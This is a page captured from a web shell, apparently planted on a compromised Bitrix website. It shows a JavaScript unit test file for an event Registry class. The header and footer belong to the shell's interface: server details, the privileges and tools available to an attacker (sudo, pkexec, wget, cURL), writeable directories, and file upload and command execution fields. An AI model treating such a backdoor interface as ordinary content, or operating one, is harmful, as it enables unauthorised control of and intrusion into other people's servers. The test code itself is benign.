403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/main/core/test/registry/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/main/core/test/registry/registry.test.js
import { Registry } from '../../src/lib/event/registry';

describe('Registry', () => {
	it('Should be exported as function', () => {
		assert(typeof Registry === 'function');
	});

	it('Should implement public interface', () => {
		const registry = new Registry();

		assert(typeof registry.set === 'function');
		assert(typeof registry.get === 'function');
		assert(typeof registry.delete === 'function');
	});

	describe('set', () => {
		it('Should set entry if passed correct parameters', () => {
			const registry = new Registry();
			const element = document.createElement('div');
			const event = 'test:event';
			const listener = () => {};

			registry.set(element, event, listener);

			const result = registry.get(element);

			assert(result[event].size === 1);
			assert(result[event].has(listener));
		});
	});

	describe('get', () => {
		it('Should return entry if exists', () => {
			const registry = new Registry();
			const element = document.createElement('div');
			const event = 'test:event';
			const listener = () => {};

			registry.set(element, event, listener);

			const result = registry.get(element);

			assert(result[event].size === 1);
			assert(result[event].has(listener));
		});
	});
	
	describe('delete', () => {
		it('Should delete specified listener', () => {
			const registry = new Registry();
			const element = document.createElement('div');
			const event = 'test:event';
			const listener = () => {};
			const listener2 = () => {};
			const listener3 = () => {};

			registry.set(element, event, listener);
			registry.set(element, event, listener2);
			registry.set(element, event, listener3);
			registry.delete(element, event, listener);

			const result = registry.get(element);

			assert(result[event].size === 2);
			assert(result[event].has(listener) === false);
			assert(result[event].has(listener2) === true);
			assert(result[event].has(listener3) === true);
		});

		it('Should delete all event listeners', () => {
			const registry = new Registry();
			const element = document.createElement('div');
			const event = 'test:event';
			const listener = () => {};
			const listener2 = () => {};
			const listener3 = () => {};

			registry.set(element, event, listener);
			registry.set(element, event, listener2);
			registry.set(element, event, listener3);

			registry.delete(element, event);

			const result = registry.get(element);

			assert(result[event].size === 0);
		});
	});
});

Youez - 2016 - github.com/yon3zu
LinuXploit